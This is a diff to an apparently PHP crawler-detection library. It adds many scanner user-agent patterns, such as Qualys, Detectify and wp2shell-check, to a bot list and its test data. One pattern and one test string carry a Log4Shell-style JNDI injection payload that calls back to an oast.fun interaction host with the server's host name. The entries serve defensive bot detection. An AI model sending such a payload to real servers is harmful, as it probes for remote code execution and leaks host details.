diff --git a/src/Fixtures/Crawlers.php b/src/Fixtures/Crawlers.php index 97cb4ea..520caf0 100644 --- a/src/Fixtures/Crawlers.php +++ b/src/Fixtures/Crawlers.php @@ -77,6 +77,7 @@ class Crawlers extends AbstractProvider '^WordPress\.com', '^XRL\/[0-9]', '^ZmEu', + '\$\{jndi:', '008\/', '1Pilot', '13TABS', @@ -91,6 +92,7 @@ class Crawlers extends AbstractProvider 'Abonti', 'Aboundex', 'aboutthedomain', + 'abuse\.xmco\.fr', 'Accoona-AI-Agent', 'acebookexternalhit\/', 'acme\.sectigo\.com', @@ -154,6 +156,7 @@ class Crawlers extends AbstractProvider 'AppleSyndication', 'Aprc\/[0-9]', 'Arachmo', + 'Arachni\/', 'arachnode', 'Arachnophilia', 'aria2', @@ -163,6 +166,7 @@ class Crawlers extends AbstractProvider 'Ask Jeeves', 'AskQuickly', 'ASPSeek', + 'Assetnote\/', 'Asterias', 'Astute', 'asynchttp', @@ -200,11 +204,13 @@ class Crawlers extends AbstractProvider 'BigBozz', 'Bigfoot', 'biglotron', + 'Bilbo\/', 'BingLocalSearch', 'BingPreview', 'binlar', 'biNu image cacher', 'Bitacle', + 'bitdiscovery', 'Bitrix link preview', 'biz_Directory', 'BKCTwitterUnshortener\/', @@ -281,9 +287,12 @@ class Crawlers extends AbstractProvider 'CloudEndure', 'CloudFlare-AlwaysOnline', 'Cloudflare-Healthchecks', + 'Cloudflare-Radar-Scanner', 'Cloudflare-SSLDetector', + 'CloudflareRadarURLScanner', 'Cloudinary', 'cmcm\.com', + 'CMSLookup', 'coccoc', 'cognitiveseo', 'ColdFusion', @@ -308,6 +317,7 @@ class Crawlers extends AbstractProvider 'Crescent', 'Criteo', 'Crowsnest', + 'CSE-Scanner', 'CSHttp', 'CSSCheck', 'Cula\/', @@ -315,8 +325,10 @@ class Crawlers extends AbstractProvider 'Curious George', 'curl', 'cuwhois\/', + 'cyberscan\.io', 'cybo\.com', 'CyberConvoyScout', + 'cypex\.ai\/scanning', 'DAP\/NetHTTP', 'DareBoost', 'DatabaseDriverMysqli', @@ -334,6 +346,7 @@ class Crawlers extends AbstractProvider 'deeris', 'delve\.ai', 'Demon', + 'Detectify', 'DeuSu', 'developers\.google\.com\/\+\/web\/snippet\/', 'Devil', @@ -351,6 +364,7 @@ class Crawlers extends AbstractProvider 'docoloc', 'Dolphin http client', 'DomainAppender', + 'DomainDrift\/', 'DomainLabz', 'Domains Project\/', 'Donuts Content Explorer', @@ -396,6 +410,7 @@ class Crawlers extends AbstractProvider 'ExactSearch', 'ExaleadCloudview', 'Excel\/', + 'Exchange check', 'exif', 'ExoRank', 'Exploratodo', @@ -435,6 +450,7 @@ class Crawlers extends AbstractProvider 'Fetch API', 'Fetch\/[0-9]', 'Fever\/[0-9]', + 'fhms-its-research-scanner', 'FHscan', 'Fiery%20Feeds', 'Filestack', @@ -455,6 +471,7 @@ class Crawlers extends AbstractProvider 'FoundSeoTool', 'fragFINN\.de', 'free thumbnails', + 'FreePBX-Scanner', 'Freeuploader', 'FreshRSS', 'frontman', @@ -646,6 +663,7 @@ class Crawlers extends AbstractProvider 'Indy Library', 'InetURL', 'infegy', + 'InfoGuardDisclosureResearch', 'infohelfer', 'InfoTekies', 'InfoWizards Reciprocal Link', @@ -722,6 +740,7 @@ class Crawlers extends AbstractProvider 'kubectl', 'kulturarw3', 'KumKie', + 'l9explore', 'l9tcpid\/', 'Larbin', 'Lavf\/', @@ -876,6 +895,7 @@ class Crawlers extends AbstractProvider 'NetNewsWire', 'Netpursual', 'netresearch', + 'NetScope-DomainScanner', 'NetShelter ContentScan', 'Netsparker', 'NetSystemsResearch', @@ -1050,6 +1070,7 @@ class Crawlers extends AbstractProvider 'QrafterPro', 'Qseero', 'Qualidator', + 'Qualys', 'QueryN Metasearch', 'queuedriver', 'quic-go-HTTP\/', @@ -1078,6 +1099,7 @@ class Crawlers extends AbstractProvider 'RepoMonkey', 'request\.js', 'reqwest\/', + 'researchcyber\.net', 'ResponseCodeTest', 'RestSharp', 'Riddler', @@ -1085,6 +1107,7 @@ class Crawlers extends AbstractProvider 'Robosourcer', 'Robozilla', 'ROI Hunter', + 'RootEvidence', 'RPT-HTTPClient', 'RSiteAuditor', 'RSSMix\/', @@ -1102,6 +1125,7 @@ class Crawlers extends AbstractProvider 'Scamadviser-Frontend', 'ScanAlert', 'scan\.lol', + 'scanner\.ducks\.party', 'Scoop', 'scooter', 'ScopeContentAG-HTTP-Client', @@ -1121,6 +1145,9 @@ class Crawlers extends AbstractProvider 'SearchSight', 'SearchWP', 'search\.thunderstone', + 'securitee\.org', + 'SecurityHeaders', + 'SecurityScanner\/', 'Seeker', 'semanticdiscovery', 'semanticjuice', @@ -1199,6 +1226,7 @@ class Crawlers extends AbstractProvider 'Snarfer\/', 'SniffRSS', 'sniptracker', + 'SnoopSecInspect', 'Snoopy', 'SnowHaze Search', 'sogou web', @@ -1282,6 +1310,7 @@ class Crawlers extends AbstractProvider 'timewe\.net', 'TinEye', 'Tiny Tiny RSS', + 'TLM-Audit-Scanner', 'TLSProbe\/', 'Toata', 'topster', @@ -1305,11 +1334,13 @@ class Crawlers extends AbstractProvider 'Twice', 'Twikle', 'Twingly', + 'TwinWaveScanner', 'Twisted PageGetter', 'Typhoeus', 'ubermetrics-technologies', 'uclassify', 'UdmSearch', + 'UGAResearchAgent', 'ultimate_sitemap_parser', 'unchaos', 'undici', @@ -1350,6 +1381,7 @@ class Crawlers extends AbstractProvider 'voyager\/', 'VSAgent\/', 'VSB-TUO\/', + 'vu-server-health-scanner', 'Vulnbusters Meter', 'VYU2', 'w3af\.org', @@ -1452,6 +1484,7 @@ class Crawlers extends AbstractProvider 'WP Engine Install Performance API', 'WP Rocket', 'WP-Safe-Scanner', + 'wp2shell-check', 'wpif', 'wprecon\.com survey', 'WPScan', diff --git a/tests/data/user_agent/crawlers.txt b/tests/data/user_agent/crawlers.txt index 211fe7f..081d7ed 100644 --- a/tests/data/user_agent/crawlers.txt +++ b/tests/data/user_agent/crawlers.txt @@ -3794,3 +3794,37 @@ NYU Internet Census (https://scan.lol; research@scan.lol) Download Demon/3.5.0.11 webbandit/4.xx.0 Mozilla/5.0 (compatible; +centuryb.o.t9[at]gmail.com) +${jndi:ldap://${hostName}.useragent.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.fun} +abuse.xmco.fr +Arachni/v1.5.1 +Bilbo/2.3b-UNIX +bitdiscovery-suggestions +Cloudflare-Radar-Scanner +cyberscan.io +cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36 +DomainDrift/0.3 (Internet Telemetry; +https://domaindrift.io) +fhms-its-research-scanner/1.0 (+https://fb02itsscan02.fh-muenster.de) +https://researchcyber.net/ +InfoGuardDisclosureResearch/1.0 (https://www.infoguard.ch; +mailto:redteam@infoguard.ch) security.txt-discovery +l9explore/1.2.2 +l9explore/1.3.0 +Mozilla/5.0 (compatible; CloudflareRadarURLScanner; +https://radar.cloudflare.com/) +Mozilla/5.0 (compatible; CMSLookup/1.0) +Mozilla/5.0 (compatible; CSE-Scanner/1.0) +Mozilla/5.0 (compatible; Detectify) +Mozilla/5.0 (compatible; FreePBX-Scanner/1.0) +Mozilla/5.0 (compatible; NetScope-DomainScanner/1.0; security research scanner) +Mozilla/5.0 (compatible; Qualys; +https://www.qualys.com/) +Mozilla/5.0 (compatible; SecurityScanner/1.0) +Mozilla/5.0 (compatible; SnoopSecInspect/1.1; +https://snoopsec.us.to/) +Mozilla/5.0 (compatible; UGAResearchAgent/1.0; Please visit: NISLabUGA.github.io) +Mozilla/5.0 (compatible; wp2shell-check/1.0) +Mozilla/5.0 (compatible;vu-server-health-scanner/1.0;https://130.37.198.75/index.html) +Mozilla/5.0 (Exchange check) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 (scanner.ducks.party) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 SecurityHeaders +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3122.113 Safari/537.36 Assetnote/1.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 (https://securitee.org/cms-experiment-fall2024/) +RootEvidence/1.0 +TLM-Audit-Scanner/1.0 +TwinWaveScanner